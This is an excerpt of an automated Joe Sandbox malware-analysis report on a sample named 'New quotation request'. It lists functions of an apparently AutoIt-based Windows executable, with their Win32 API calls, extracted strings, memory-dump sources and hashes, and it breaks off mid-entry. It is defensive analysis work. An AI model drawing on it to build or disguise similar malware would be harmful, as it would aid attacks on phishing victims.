                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                    • String ID: (
                                                                    • API String ID: 2598888154-3887548279
                                                                    • Opcode ID: b0a131b0ed3425bb72a0da5f859ecd6e1741e6ee594521331d95c85e326378f8
                                                                    • Instruction ID: e6afa65d93d2f8d5e78195edf77b6a96e1d5a3819c267c404ff36c18cff42c05
                                                                    • Opcode Fuzzy Hash: b0a131b0ed3425bb72a0da5f859ecd6e1741e6ee594521331d95c85e326378f8
                                                                    • Instruction Fuzzy Hash: D2514975904319EFCB16CFA9DC85EAEBBB9FF48310F14852DF95997220C731A9408B90
                                                                    Function 002B6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002D0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,002B6B0C,?,00008000), ref: 002D0973
                                                                      • Part of subcall function 002B4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002B4743,?,?,002B37AE,?), ref: 002B4770
                                                                    • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 002B6BAD
                                                                    • SetCurrentDirectoryW.KERNEL32(?), ref: 002B6CFA
                                                                      • Part of subcall function 002B586D: _wcscpy.LIBCMT ref: 002B58A5
                                                                      • Part of subcall function 002D363D: _iswctype.LIBCMT ref: 002D3645
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                                                    • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                                    • API String ID: 537147316-1018226102
                                                                    • Opcode ID: 2573e02d6abd794679e59dba8d894afe937bb9470e2bc161c678bde4a44dbce8
                                                                    • Instruction ID: 0a29994f41960aea3a5d584020f8f3e88a170371a91e42c420f799c1b80dfb99
                                                                    • Opcode Fuzzy Hash: 2573e02d6abd794679e59dba8d894afe937bb9470e2bc161c678bde4a44dbce8
                                                                    • Instruction Fuzzy Hash: 2202BE301283419FCB25EF20C891AEFBBE5AF98394F54491DF489972A1DB30D969CF42
                                                                    Function 00312D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00312D50
                                                                    • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00312DDD
                                                                    • GetMenuItemCount.USER32(00375890), ref: 00312E66
                                                                    • DeleteMenu.USER32(00375890,00000005,00000000,000000F5,?,?), ref: 00312EF6
                                                                    • DeleteMenu.USER32(00375890,00000004,00000000), ref: 00312EFE
                                                                    • DeleteMenu.USER32(00375890,00000006,00000000), ref: 00312F06
                                                                    • DeleteMenu.USER32(00375890,00000003,00000000), ref: 00312F0E
                                                                    • GetMenuItemCount.USER32(00375890), ref: 00312F16
                                                                    • SetMenuItemInfoW.USER32(00375890,00000004,00000000,00000030), ref: 00312F4C
                                                                    • GetCursorPos.USER32(?), ref: 00312F56
                                                                    • SetForegroundWindow.USER32(00000000), ref: 00312F5F
                                                                    • TrackPopupMenuEx.USER32(00375890,00000000,?,00000000,00000000,00000000), ref: 00312F72
                                                                    • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00312F7E
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                    • String ID:
                                                                    • API String ID: 3993528054-0
                                                                    • Opcode ID: 94261ebbb002243d8ad08c9b78e2ef3d0777616a4a171c6f086bcce40978a371
                                                                    • Instruction ID: 33d6fbf4583821723f445ad7599712a103199855f9004a27a319894815c32136
                                                                    • Opcode Fuzzy Hash: 94261ebbb002243d8ad08c9b78e2ef3d0777616a4a171c6f086bcce40978a371
                                                                    • Instruction Fuzzy Hash: 7871B270640205BEEB2A9F54DC85FEBBF68FF09754F100216F625AA1E1C7B158B0DBA4
                                                                    Function 003288AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(?), ref: 003288D7
                                                                    • CoInitialize.OLE32(00000000), ref: 00328904
                                                                    • CoUninitialize.OLE32 ref: 0032890E
                                                                    • GetRunningObjectTable.OLE32(00000000,?), ref: 00328A0E
                                                                    • SetErrorMode.KERNEL32(00000001,00000029), ref: 00328B3B
                                                                    • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00342C0C), ref: 00328B6F
                                                                    • CoGetObject.OLE32(?,00000000,00342C0C,?), ref: 00328B92
                                                                    • SetErrorMode.KERNEL32(00000000), ref: 00328BA5
                                                                    • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00328C25
                                                                    • VariantClear.OLEAUT32(?), ref: 00328C35
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                                    • String ID: ,,4
                                                                    • API String ID: 2395222682-3600021901
                                                                    • Opcode ID: a50f1d511d243d59140c95b134d68331f47bc56fed69ec3e89a763f676f48180
                                                                    • Instruction ID: a32f086abc5696d52eefabeefedc6b5fbcc95c5b1cb56219d402d68760ed82be
                                                                    • Opcode Fuzzy Hash: a50f1d511d243d59140c95b134d68331f47bc56fed69ec3e89a763f676f48180
                                                                    • Instruction Fuzzy Hash: 2AC156B1608315AFC701DF68D88496BB7E9FF89348F00492DF98A9B261DB71ED05CB52
                                                                    Function 003077DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    • _memset.LIBCMT ref: 0030786B
                                                                    • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 003078A0
                                                                    • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 003078BC
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 003078D8
                                                                    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00307902
                                                                    • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 0030792A
                                                                    • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00307935
                                                                    • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0030793A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
                                                                    • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                    • API String ID: 1411258926-22481851
                                                                    • Opcode ID: 7204bf3ddd634f2f5f01a1f828af662f05e75b1001d8d5fc1335a6b274585a59
                                                                    • Instruction ID: 62ae5003f095c7e76eedf8ee4f689fc5f27371f69f7798a8c564a7f6fcd133cc
                                                                    • Opcode Fuzzy Hash: 7204bf3ddd634f2f5f01a1f828af662f05e75b1001d8d5fc1335a6b274585a59
                                                                    • Instruction Fuzzy Hash: DF411872C24229ABCF16EBA4DC95DEDB778BF44350F444029E915A71A1DB30AD14CF90
                                                                    Function 00330E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharUpperBuffW.USER32(?,?,?,?,?,?,?,0032FDAD,?,?), ref: 00330E31
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpper
                                                                    • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                    • API String ID: 3964851224-909552448
                                                                    • Opcode ID: a344ae604c684470aa547f707e7da2ad8bda6a39cd3c5d603438248d2fbb375e
                                                                    • Instruction ID: 468ec478cd3048f6b05029f8e29aac7f5ed1798dab3cc86531262dc8c1ab931e
                                                                    • Opcode Fuzzy Hash: a344ae604c684470aa547f707e7da2ad8bda6a39cd3c5d603438248d2fbb375e
                                                                    • Instruction Fuzzy Hash: 6F417E3522024A8BCF16EF10D8E5BEF3768BF51344F154456FD951B2A6DB309D2ACBA0
                                                                    Function 0030F7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,002EE2A0,00000010,?,Bad directive syntax error,0033F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 0030F7C2
                                                                    • LoadStringW.USER32(00000000,?,002EE2A0,00000010), ref: 0030F7C9
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    • _wprintf.LIBCMT ref: 0030F7FC
                                                                    • __swprintf.LIBCMT ref: 0030F81E
                                                                    • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0030F88D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
                                                                    • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                    • API String ID: 1506413516-4153970271
                                                                    • Opcode ID: 5668af4853d01caaf1d94231c5625e3e45ae3c7a630aa3e9212782c3929a62c1
                                                                    • Instruction ID: 23f694264509e77e8eaed9fc3e1eb1302f94892b7017fee59726736bd16286a6
                                                                    • Opcode Fuzzy Hash: 5668af4853d01caaf1d94231c5625e3e45ae3c7a630aa3e9212782c3929a62c1
                                                                    • Instruction Fuzzy Hash: DE214F3195021AAFCF12EF90CC5AEED7779BF18300F044466F515661A2DA719A28DF51
                                                                    Function 003152C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                      • Part of subcall function 002B7924: _memmove.LIBCMT ref: 002B79AD
                                                                    • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00315330
                                                                    • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00315346
                                                                    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00315357
                                                                    • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00315369
                                                                    • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0031537A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: SendString$_memmove
                                                                    • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                    • API String ID: 2279737902-1007645807
                                                                    • Opcode ID: 3f69475ecd1f6cc04d22d9271b08f071bce8689b95525b9224c0488dd4d35550
                                                                    • Instruction ID: c34cc5947e98bd7f0daf0eb38a58661e945ff558f060dd47c4dd4adec1cfed5e
                                                                    • Opcode Fuzzy Hash: 3f69475ecd1f6cc04d22d9271b08f071bce8689b95525b9224c0488dd4d35550
                                                                    • Instruction Fuzzy Hash: AF11B220A6012979D725B761CC4AEFF7B7CEBD9B80F000929B411A20D5DEA00D55C9A0
                                                                    Function 003146B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                                                    • String ID: 0.0.0.0
                                                                    • API String ID: 208665112-3771769585
                                                                    • Opcode ID: e1d07ceda03e26c177e8d32dc9fb8477cdc65ac6dfb6183bca95437cd6482de2
                                                                    • Instruction ID: 39e3e2251c313877845ab9871d91d229a04e57f24b06e61bc3c2d7331055cd55
                                                                    • Opcode Fuzzy Hash: e1d07ceda03e26c177e8d32dc9fb8477cdc65ac6dfb6183bca95437cd6482de2
                                                                    • Instruction Fuzzy Hash: 1411D231900114AFCB2ABB70DC8AEEA77BCEB1A711F4441B6F455961A1EF708EC18A60
                                                                    Function 00314F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • timeGetTime.WINMM ref: 00314F7A
                                                                      • Part of subcall function 002D049F: timeGetTime.WINMM(?,75C0B400,002C0E7B), ref: 002D04A3
                                                                    • Sleep.KERNEL32(0000000A), ref: 00314FA6
                                                                    • EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00314FCA
                                                                    • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00314FEC
                                                                    • SetActiveWindow.USER32 ref: 0031500B
                                                                    • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00315019
                                                                    • SendMessageW.USER32(00000010,00000000,00000000), ref: 00315038
                                                                    • Sleep.KERNEL32(000000FA), ref: 00315043
                                                                    • IsWindow.USER32 ref: 0031504F
                                                                    • EndDialog.USER32(00000000), ref: 00315060
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                                    • String ID: BUTTON
                                                                    • API String ID: 1194449130-3405671355
                                                                    • Opcode ID: 850fc269bbe058077f395c2098f43f76766a0d926f286c3bfd031c5769132941
                                                                    • Instruction ID: 3755e8d80b9b63c959a070df89cd20f72376eb05e03d8dc9dadcd21e0b442dbc
                                                                    • Opcode Fuzzy Hash: 850fc269bbe058077f395c2098f43f76766a0d926f286c3bfd031c5769132941
                                                                    • Instruction Fuzzy Hash: E921C670A00A04EFE72B5F60EDCAF663B6DEB4E755F441028F109812B1EB718DD49A61
                                                                    Function 0031D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • CoInitialize.OLE32(00000000), ref: 0031D5EA
                                                                    • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0031D67D
                                                                    • SHGetDesktopFolder.SHELL32(?), ref: 0031D691
                                                                    • CoCreateInstance.OLE32(00342D7C,00000000,00000001,00368C1C,?), ref: 0031D6DD
                                                                    • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0031D74C
                                                                    • CoTaskMemFree.OLE32(?,?), ref: 0031D7A4
                                                                    • _memset.LIBCMT ref: 0031D7E1
                                                                    • SHBrowseForFolderW.SHELL32(?), ref: 0031D81D
                                                                    • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0031D840
                                                                    • CoTaskMemFree.OLE32(00000000), ref: 0031D847
                                                                    • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0031D87E
                                                                    • CoUninitialize.OLE32(00000001,00000000), ref: 0031D880
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                                    • String ID:
                                                                    • API String ID: 1246142700-0
                                                                    • Opcode ID: fed424536027d540315195fac1c7a1bbec5c695222b8cc6c28e84033b92bd19f
                                                                    • Instruction ID: e88bf825a0a73121aa70b9be7d7af1f348f24c4d0f8f87072b4dd40c9bb12bd2
                                                                    • Opcode Fuzzy Hash: fed424536027d540315195fac1c7a1bbec5c695222b8cc6c28e84033b92bd19f
                                                                    • Instruction Fuzzy Hash: E8B1E975A00109AFDB05DFA4C885DAEBBB9EF49314F148469F909EB261DB30ED81CF50
                                                                    Function 0030C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDlgItem.USER32(?,00000001), ref: 0030C283
                                                                    • GetWindowRect.USER32(00000000,?), ref: 0030C295
                                                                    • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0030C2F3
                                                                    • GetDlgItem.USER32(?,00000002), ref: 0030C2FE
                                                                    • GetWindowRect.USER32(00000000,?), ref: 0030C310
                                                                    • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0030C364
                                                                    • GetDlgItem.USER32(?,000003E9), ref: 0030C372
                                                                    • GetWindowRect.USER32(00000000,?), ref: 0030C383
                                                                    • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0030C3C6
                                                                    • GetDlgItem.USER32(?,000003EA), ref: 0030C3D4
                                                                    • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0030C3F1
                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 0030C3FE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$ItemMoveRect$Invalidate
                                                                    • String ID:
                                                                    • API String ID: 3096461208-0
                                                                    • Opcode ID: 6ba7263ec1b5e05a899a7cb90cdcde9fcfc404ee39274f2161897450b68def73
                                                                    • Instruction ID: 50efa25f494aa2e56bd5b6f87639344b32a47e79fa1af934457103996d545ebf
                                                                    • Opcode Fuzzy Hash: 6ba7263ec1b5e05a899a7cb90cdcde9fcfc404ee39274f2161897450b68def73
                                                                    • Instruction Fuzzy Hash: BF515F71B10205AFDB19CFA9DD9AAAEBBBAEB88310F54822DF515D72D0D7749D008B10
                                                                    Function 002B201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002B2036,?,00000000,?,?,?,?,002B16CB,00000000,?), ref: 002B1B9A
                                                                    • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 002B20D3
                                                                    • KillTimer.USER32(-00000001,?,?,?,?,002B16CB,00000000,?,?,002B1AE2,?,?), ref: 002B216E
                                                                    • DestroyAcceleratorTable.USER32(00000000), ref: 002EBCA6
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002B16CB,00000000,?,?,002B1AE2,?,?), ref: 002EBCD7
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002B16CB,00000000,?,?,002B1AE2,?,?), ref: 002EBCEE
                                                                    • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002B16CB,00000000,?,?,002B1AE2,?,?), ref: 002EBD0A
                                                                    • DeleteObject.GDI32(00000000), ref: 002EBD1C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                                    • String ID:
                                                                    • API String ID: 641708696-0
                                                                    • Opcode ID: 63cdc2c95e44a29a069e8cbe7fa7bb1e9eb7b4df545ebebac091805811f966cb
                                                                    • Instruction ID: 6a1976610e5a3d72893b4a4d51ec067dc5e00fcad1f083d71c9dedbf73dae6bb
